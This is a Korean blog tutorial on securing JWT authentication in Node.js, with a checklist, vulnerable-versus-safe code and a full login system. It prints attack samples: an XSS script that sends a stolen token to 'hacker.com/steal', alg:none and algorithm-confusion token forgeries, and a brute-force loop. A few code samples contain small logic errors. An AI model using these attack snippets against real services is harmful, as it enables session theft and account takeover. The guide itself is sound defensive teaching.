JWT 보안 베스트 프랙티스 2025 - 안전한 토큰 인증 구현 가이드

JWT 사용 시 반드시 알아야 할 보안 취약점과 해결 방법, 실전 체크리스트

Fun Utils2025년 10월 25일18분 읽기

JWT 보안 베스트 프랙티스 2025

JWT는 편리하지만 잘못 사용하면 심각한 보안 취약점이 발생할 수 있습니다. 이 가이드에서는 실제 해킹 사례와 함께 안전한 JWT 구현 방법을 상세히 다룹니다.

보안 체크리스트

시작하기 전에 빠르게 점검하세요:

🔴 필수 (하나라도 없으면 즉시 수정)

  • [ ] HTTPS 사용
  • [ ] 알고리즘 명시 (alg: none 방지)
  • [ ] 만료 시간 설정 (exp)
  • [ ] 비밀키 환경 변수 관리
  • [ ] 민감한 정보 제외 (비밀번호, 카드번호 등)

🟡 권장 (보안 강화)

  • [ ] Refresh Token 패턴 사용
  • [ ] HttpOnly 쿠키에 저장
  • [ ] Rate Limiting 적용
  • [ ] 토큰 Blacklist 구현
  • [ ] 강력한 서명 알고리즘 (RS256)

🟢 선택 (추가 보안)

  • [ ] IP 주소 검증
  • [ ] User-Agent 검증
  • [ ] 토큰 회전 (Rotation)
  • [ ] 이상 탐지 시스템
  • [ ] 감사 로그 (Audit Log)

취약점 1: None 알고리즘 공격

문제 상황

// 공격자가 수정한 JWT
{
  "alg": "none",  // 알고리즘을 none으로 변경
  "typ": "JWT"
}
{
  "userId": 1,
  "role": "admin"  // 권한 상승
}

서명 없이도 토큰이 유효하다고 판단할 수 있음!

취약한 코드

// ❌ 나쁜 예: 알고리즘 검증 없음
jwt.verify(token, secret);  // alg: none도 통과!

안전한 코드

// ✅ 좋은 예: 알고리즘 명시
jwt.verify(token, secret, {
  algorithms: ['HS256', 'RS256']  // none 제외
});

// ✅ 더 좋은 예: 특정 알고리즘만 허용
jwt.verify(token, secret, {
  algorithms: ['HS256']
});

미들웨어로 구현

function verifyToken(req, res, next) {
  const token = req.headers.authorization?.split(' ')[1];

  if (!token) {
    return res.status(401).json({ error: 'Token required' });
  }

  try {
    // 알고리즘 명시적 검증
    const decoded = jwt.verify(token, process.env.JWT_SECRET, {
      algorithms: ['HS256'],
      issuer: 'my-app',
      audience: 'my-frontend'
    });

    // 추가 검증: alg 필드 직접 확인
    const header = JSON.parse(
      Buffer.from(token.split('.')[0], 'base64').toString()
    );

    if (!header.alg || header.alg === 'none') {
      throw new Error('Invalid algorithm');
    }

    req.user = decoded;
    next();
  } catch (error) {
    res.status(403).json({ error: 'Invalid token' });
  }
}

취약점 2: 약한 비밀키

문제 상황

// ❌ 매우 위험
const secret = 'secret';
const secret = '123456';
const secret = 'myapp';

// Brute Force 공격으로 몇 초 만에 해독 가능

안전한 비밀키 생성

# 강력한 랜덤 키 생성 (256 bits)
node -e "console.log(require('crypto').randomBytes(32).toString('hex'))"
# 출력: a3d8f7e9c2b1a6d4e8f9c3b7a2d6e9f1c4b8a3d7e2f9c6b1a4d8e3f7c2b9a6d1

# 또는
openssl rand -hex 32

환경 변수로 관리

// .env 파일
JWT_SECRET=a3d8f7e9c2b1a6d4e8f9c3b7a2d6e9f1c4b8a3d7e2f9c6b1a4d8e3f7c2b9a6d1
JWT_REFRESH_SECRET=b4e9g8f0d3c2b7a5e9f0d4c8b3a7e0f2d5c9b4a8e3f0d7c2b5a9e4f8d3c0b7a2

// 코드에서 사용
const jwt = require('jsonwebtoken');

const token = jwt.sign(payload, process.env.JWT_SECRET, {
  expiresIn: '15m'
});

비밀키 보안 규칙

길이보안 수준비고
< 16 chars🔴 매우 위험절대 사용 금지
16-32 chars🟡 취약최소 요구사항
32-64 chars🟢 안전권장
> 64 chars🟢 매우 안전이상적

취약점 3: 민감한 정보 노출

문제 상황

// ❌ 절대 하면 안 됨!
const token = jwt.sign({
  userId: 1,
  email: 'user@example.com',
  password: 'mypassword123',        // 🔴 비밀번호
  creditCard: '1234-5678-9012-3456', // 🔴 카드번호
  ssn: '123-45-6789'                // 🔴 주민등록번호
}, secret);

JWT는 Base64로만 인코딩되어 있어 누구나 디코딩 가능!

# 누구나 토큰 내용을 볼 수 있음
echo "eyJhbGc..." | base64 -d

안전한 클레임 설계

// ✅ 좋은 예: 필수 정보만
const token = jwt.sign({
  userId: user.id,           // 식별자만
  role: user.role,           // 권한 정보
  iat: Math.floor(Date.now() / 1000),
  exp: Math.floor(Date.now() / 1000) + 3600
}, secret);

// 추가 정보는 별도 API로 조회
app.get('/api/user/profile', authenticate, async (req, res) => {
  const user = await User.findById(req.user.userId);
  res.json({
    email: user.email,
    name: user.name,
    phone: user.phone
  });
});

클레임 선택 가이드

클레임포함 여부이유
userId✅ 포함필수 식별자
email⚠️ 주의이메일 변경 시 토큰 무효화 필요
role✅ 포함권한 검증에 필요
name❌ 제외변경 가능, 필요시 API 조회
password❌ 절대 금지보안 위험
creditCard❌ 절대 금지법적 문제

취약점 4: XSS (Cross-Site Scripting)

문제 상황

// ❌ localStorage에 저장
localStorage.setItem('token', token);

// 악의적인 스크립트가 토큰 탈취
<script>
  const stolenToken = localStorage.getItem('token');
  fetch('https://hacker.com/steal', {
    method: 'POST',
    body: JSON.stringify({ token: stolenToken })
  });
</script>

해결책 1: HttpOnly 쿠키

// ✅ 서버: HttpOnly 쿠키로 전송
app.post('/login', async (req, res) => {
  const user = await authenticate(req.body);

  const token = jwt.sign({ userId: user.id }, secret, {
    expiresIn: '1h'
  });

  // HttpOnly 쿠키 설정
  res.cookie('token', token, {
    httpOnly: true,    // JavaScript 접근 불가
    secure: true,      // HTTPS only
    sameSite: 'strict', // CSRF 방지
    maxAge: 3600000    // 1시간
  });

  res.json({ success: true });
});

// 클라이언트: 자동으로 쿠키 전송 (코드 불필요)
fetch('https://api.example.com/data', {
  credentials: 'include'  // 쿠키 포함
});

해결책 2: Content Security Policy (CSP)

// Helmet.js로 CSP 설정
const helmet = require('helmet');

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", "https://trusted-cdn.com"],
    objectSrc: ["'none'"],
    upgradeInsecureRequests: []
  }
}));

XSS 방지 체크리스트

  • [ ] HttpOnly 쿠키 사용
  • [ ] Content Security Policy 설정
  • [ ] 사용자 입력 검증 및 이스케이프
  • [ ] DOMPurify 같은 라이브러리 사용
  • [ ] innerHTML 사용 자제

취약점 5: 토큰 탈취 후 무제한 사용

문제 상황

// 토큰 만료 시간이 너무 김
const token = jwt.sign(payload, secret, {
  expiresIn: '30d'  // ❌ 30일!
});

// 토큰 탈취 → 30일 동안 악용 가능

해결책: Refresh Token 패턴

// Access Token: 짧은 만료 시간 (15분)
const accessToken = jwt.sign(
  { userId: user.id, role: user.role },
  process.env.JWT_SECRET,
  { expiresIn: '15m' }
);

// Refresh Token: 긴 만료 시간 (7일), DB에 저장
const refreshToken = jwt.sign(
  { userId: user.id, type: 'refresh' },
  process.env.JWT_REFRESH_SECRET,
  { expiresIn: '7d' }
);

// DB에 Refresh Token 저장
await RefreshToken.create({
  userId: user.id,
  token: refreshToken,
  expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000)
});

res.json({ accessToken, refreshToken });

Refresh Token으로 재발급

app.post('/token/refresh', async (req, res) => {
  const { refreshToken } = req.body;

  // 1. Refresh Token 검증
  let decoded;
  try {
    decoded = jwt.verify(refreshToken, process.env.JWT_REFRESH_SECRET);
  } catch (error) {
    return res.status(401).json({ error: 'Invalid refresh token' });
  }

  // 2. DB에서 Refresh Token 확인
  const storedToken = await RefreshToken.findOne({
    userId: decoded.userId,
    token: refreshToken
  });

  if (!storedToken) {
    return res.status(401).json({ error: 'Refresh token not found' });
  }

  // 3. 만료 확인
  if (storedToken.expiresAt < new Date()) {
    await RefreshToken.deleteOne({ _id: storedToken._id });
    return res.status(401).json({ error: 'Refresh token expired' });
  }

  // 4. 새 Access Token 발급
  const newAccessToken = jwt.sign(
    { userId: decoded.userId, role: decoded.role },
    process.env.JWT_SECRET,
    { expiresIn: '15m' }
  );

  res.json({ accessToken: newAccessToken });
});

로그아웃: Refresh Token 삭제

app.post('/logout', authenticate, async (req, res) => {
  const { refreshToken } = req.body;

  // Refresh Token 삭제
  await RefreshToken.deleteOne({
    userId: req.user.userId,
    token: refreshToken
  });

  res.json({ success: true });
});

토큰 회전 (Token Rotation)

// 보안 강화: Refresh Token 사용 시마다 새로 발급
app.post('/token/refresh', async (req, res) => {
  const { refreshToken } = req.body;

  // 기존 검증 로직...

  // 기존 Refresh Token 삭제
  await RefreshToken.deleteOne({ token: refreshToken });

  // 새 Access Token + 새 Refresh Token 발급
  const newAccessToken = jwt.sign(
    { userId: decoded.userId },
    process.env.JWT_SECRET,
    { expiresIn: '15m' }
  );

  const newRefreshToken = jwt.sign(
    { userId: decoded.userId, type: 'refresh' },
    process.env.JWT_REFRESH_SECRET,
    { expiresIn: '7d' }
  );

  // 새 Refresh Token 저장
  await RefreshToken.create({
    userId: decoded.userId,
    token: newRefreshToken,
    expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000)
  });

  res.json({
    accessToken: newAccessToken,
    refreshToken: newRefreshToken
  });
});

취약점 6: 알고리즘 혼동 공격

문제 상황

// 서버: RS256 (비대칭키) 사용
const token = jwt.sign(payload, privateKey, { algorithm: 'RS256' });

// 공격자: HS256으로 위조 시도
const fakeToken = jwt.sign(payload, publicKey, { algorithm: 'HS256' });
// publicKey를 비밀키로 사용!

// 취약한 검증 코드
jwt.verify(fakeToken, publicKey);  // ❌ 통과될 수 있음!

안전한 코드

// ✅ 알고리즘 명시
jwt.verify(token, publicKey, {
  algorithms: ['RS256']  // HS256 거부
});

취약점 7: Replay Attack

문제 상황

// 공격자가 탈취한 유효한 토큰을 반복 사용
POST /transfer
Authorization: Bearer eyJhbGc...  // 탈취한 토큰

// 같은 토큰으로 계속 요청 가능

해결책 1: Nonce (한 번만 사용)

// 토큰에 고유 ID 추가
const token = jwt.sign({
  userId: 1,
  jti: uuidv4(),  // 고유 식별자
  iat: Date.now()
}, secret);

// 사용된 jti 저장 (Redis)
const usedTokens = new Set();

function verifyToken(req, res, next) {
  const token = req.headers.authorization.split(' ')[1];
  const decoded = jwt.verify(token, secret);

  // jti 중복 확인
  if (usedTokens.has(decoded.jti)) {
    return res.status(401).json({ error: 'Token already used' });
  }

  usedTokens.add(decoded.jti);

  // 만료 시간 후 삭제
  setTimeout(() => {
    usedTokens.delete(decoded.jti);
  }, decoded.exp * 1000 - Date.now());

  req.user = decoded;
  next();
}

해결책 2: 중요 작업에 추가 인증

// 송금 같은 중요 작업
app.post('/transfer', authenticate, async (req, res) => {
  const { to, amount, password } = req.body;

  // 비밀번호 재확인
  const user = await User.findById(req.user.userId);
  if (!await bcrypt.compare(password, user.password)) {
    return res.status(401).json({ error: 'Password required' });
  }

  // 송금 처리...
});

취약점 8: Rate Limiting 부재

문제 상황

// 무차별 대입 공격 (Brute Force)
for (let i = 0; i < 1000000; i++) {
  POST /login { email: 'admin@example.com', password: `password${i}` }
}

해결책: Rate Limiting

const rateLimit = require('express-rate-limit');

// 로그인 Rate Limit
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15분
  max: 5,                   // 최대 5번
  message: 'Too many login attempts, please try again later',
  standardHeaders: true,
  legacyHeaders: false,
});

app.post('/login', loginLimiter, async (req, res) => {
  // 로그인 로직
});

// API Rate Limit
const apiLimiter = rateLimit({
  windowMs: 1 * 60 * 1000,  // 1분
  max: 100,                 // 최대 100번
  message: 'Too many requests'
});

app.use('/api/', apiLimiter);

IP 기반 Blacklist

const blacklist = new Set();

app.use((req, res, next) => {
  const ip = req.ip;

  if (blacklist.has(ip)) {
    return res.status(403).json({ error: 'IP blocked' });
  }

  next();
});

// 의심스러운 활동 감지 시 차단
function blockIP(ip) {
  blacklist.add(ip);

  // 1시간 후 해제
  setTimeout(() => {
    blacklist.delete(ip);
  }, 60 * 60 * 1000);
}

실전 보안 구현

완전한 인증 시스템

const express = require('express');
const jwt = require('jsonwebtoken');
const bcrypt = require('bcrypt');
const { body, validationResult } = require('express-validator');
const rateLimit = require('express-rate-limit');
const helmet = require('helmet');

const app = express();

// 보안 헤더
app.use(helmet());

// Rate Limiting
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 5,
  message: 'Too many login attempts'
});

// 로그인
app.post('/login',
  loginLimiter,
  [
    body('email').isEmail().normalizeEmail(),
    body('password').isLength({ min: 8 })
  ],
  async (req, res) => {
    // 입력 검증
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
      return res.status(400).json({ errors: errors.array() });
    }

    const { email, password } = req.body;

    // 사용자 조회
    const user = await User.findOne({ email });
    if (!user) {
      return res.status(401).json({ error: 'Invalid credentials' });
    }

    // 비밀번호 검증
    const valid = await bcrypt.compare(password, user.password);
    if (!valid) {
      return res.status(401).json({ error: 'Invalid credentials' });
    }

    // Access Token 생성
    const accessToken = jwt.sign(
      {
        userId: user.id,
        role: user.role,
        jti: require('crypto').randomBytes(16).toString('hex')
      },
      process.env.JWT_SECRET,
      {
        expiresIn: '15m',
        issuer: 'my-app',
        audience: 'my-frontend'
      }
    );

    // Refresh Token 생성
    const refreshToken = jwt.sign(
      {
        userId: user.id,
        type: 'refresh'
      },
      process.env.JWT_REFRESH_SECRET,
      { expiresIn: '7d' }
    );

    // Refresh Token 저장
    await RefreshToken.create({
      userId: user.id,
      token: refreshToken,
      expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000),
      createdIP: req.ip,
      userAgent: req.headers['user-agent']
    });

    // HttpOnly 쿠키로 전송
    res.cookie('accessToken', accessToken, {
      httpOnly: true,
      secure: process.env.NODE_ENV === 'production',
      sameSite: 'strict',
      maxAge: 15 * 60 * 1000
    });

    res.cookie('refreshToken', refreshToken, {
      httpOnly: true,
      secure: process.env.NODE_ENV === 'production',
      sameSite: 'strict',
      maxAge: 7 * 24 * 60 * 60 * 1000
    });

    res.json({ success: true });
  }
);

// 인증 미들웨어
function authenticate(req, res, next) {
  const token = req.cookies.accessToken;

  if (!token) {
    return res.status(401).json({ error: 'Token required' });
  }

  try {
    const decoded = jwt.verify(token, process.env.JWT_SECRET, {
      algorithms: ['HS256'],
      issuer: 'my-app',
      audience: 'my-frontend'
    });

    // Header 검증
    const header = JSON.parse(
      Buffer.from(token.split('.')[0], 'base64').toString()
    );

    if (!header.alg || header.alg === 'none') {
      throw new Error('Invalid algorithm');
    }

    req.user = decoded;
    next();
  } catch (error) {
    if (error.name === 'TokenExpiredError') {
      return res.status(401).json({
        error: 'Token expired',
        code: 'TOKEN_EXPIRED'
      });
    }

    res.status(403).json({ error: 'Invalid token' });
  }
}

// 보호된 라우트
app.get('/api/profile', authenticate, async (req, res) => {
  const user = await User.findById(req.user.userId);
  res.json({ user });
});

// 로그아웃
app.post('/logout', authenticate, async (req, res) => {
  const refreshToken = req.cookies.refreshToken;

  // Refresh Token 삭제
  await RefreshToken.deleteOne({
    userId: req.user.userId,
    token: refreshToken
  });

  // 쿠키 삭제
  res.clearCookie('accessToken');
  res.clearCookie('refreshToken');

  res.json({ success: true });
});

모니터링 및 감사

의심스러운 활동 감지

const AuditLog = require('./models/AuditLog');

// 감사 로그 미들웨어
app.use(async (req, res, next) => {
  const startTime = Date.now();

  // 응답 후 로깅
  res.on('finish', async () => {
    try {
      await AuditLog.create({
        userId: req.user?.userId,
        ip: req.ip,
        userAgent: req.headers['user-agent'],
        method: req.method,
        path: req.path,
        statusCode: res.statusCode,
        duration: Date.now() - startTime,
        timestamp: new Date()
      });

      // 의심스러운 활동 감지
      if (res.statusCode === 401 || res.statusCode === 403) {
        await detectSuspiciousActivity(req.ip);
      }
    } catch (error) {
      console.error('Audit log error:', error);
    }
  });

  next();
});

// 의심스러운 활동 감지
async function detectSuspiciousActivity(ip) {
  const recentLogs = await AuditLog.find({
    ip,
    statusCode: { $in: [401, 403] },
    timestamp: { $gte: new Date(Date.now() - 5 * 60 * 1000) }
  });

  // 5분 내 실패 10회 이상
  if (recentLogs.length >= 10) {
    console.warn(`Suspicious activity from IP: ${ip}`);

    // 이메일 알림, Slack 알림 등
    await notifyAdmin({
      type: 'SUSPICIOUS_ACTIVITY',
      ip,
      failedAttempts: recentLogs.length
    });

    // IP 차단 (선택적)
    // await blockIP(ip);
  }
}

보안 테스트

JWT 보안 테스트 도구

우리 사이트의 JWT Debugger를 사용하여:

  • 토큰 검증: 만료 시간, 알고리즘 확인
  • 클레임 분석: 민감한 정보 포함 여부 체크
  • 에러 감지: 구조적 문제 발견
  • 자동화된 보안 테스트

    // Jest로 보안 테스트
    describe('JWT Security', () => {
      test('should reject none algorithm', () => {
        const token = jwt.sign({ userId: 1 }, secret, { algorithm: 'none' });
    
        expect(() => {
          jwt.verify(token, secret, { algorithms: ['HS256'] });
        }).toThrow();
      });
    
      test('should reject expired token', () => {
        const token = jwt.sign({ userId: 1 }, secret, { expiresIn: '0s' });
    
        expect(() => {
          jwt.verify(token, secret);
        }).toThrow('jwt expired');
      });
    
      test('should reject token without expiration', () => {
        const token = jwt.sign({ userId: 1 }, secret);
        const decoded = jwt.decode(token);
    
        expect(decoded.exp).toBeDefined();
      });
    });

    최종 보안 체크리스트

    🔴 치명적 (즉시 수정 필요)

    • [ ] HTTPS 사용
    • [ ] alg: none 방지
    • [ ] 환경 변수로 비밀키 관리
    • [ ] 만료 시간 설정
    • [ ] 민감한 정보 제외

    🟡 중요 (가능한 빨리)

    • [ ] Refresh Token 패턴
    • [ ] HttpOnly 쿠키
    • [ ] Rate Limiting
    • [ ] 강력한 비밀키 (32+ chars)
    • [ ] 알고리즘 명시적 검증

    🟢 권장 (보안 강화)

    • [ ] 토큰 회전 (Rotation)
    • [ ] 의심스러운 활동 감지
    • [ ] 감사 로그
    • [ ] IP/User-Agent 검증
    • [ ] 중요 작업 추가 인증

    결론

    JWT는 올바르게 사용하면 안전하고 확장 가능한 인증 시스템을 구축할 수 있습니다. 하지만 보안을 소홀히 하면 심각한 취약점이 발생할 수 있습니다.

    핵심 요약:

    • ✅ HTTPS + 짧은 만료 시간 + 강력한 비밀키
    • ✅ Refresh Token 패턴으로 보안 강화
    • ✅ HttpOnly 쿠키로 XSS 방지
    • ✅ Rate Limiting으로 무차별 공격 방지
    • ✅ 지속적인 모니터링 및 감사


    관련 도구:

    더 알아보기:

    💙 우리의 콘텐츠가 도움이 되셨나요?

    무료 블로그와 도구 개발을 지원해주실 수 있습니다.


    관련 글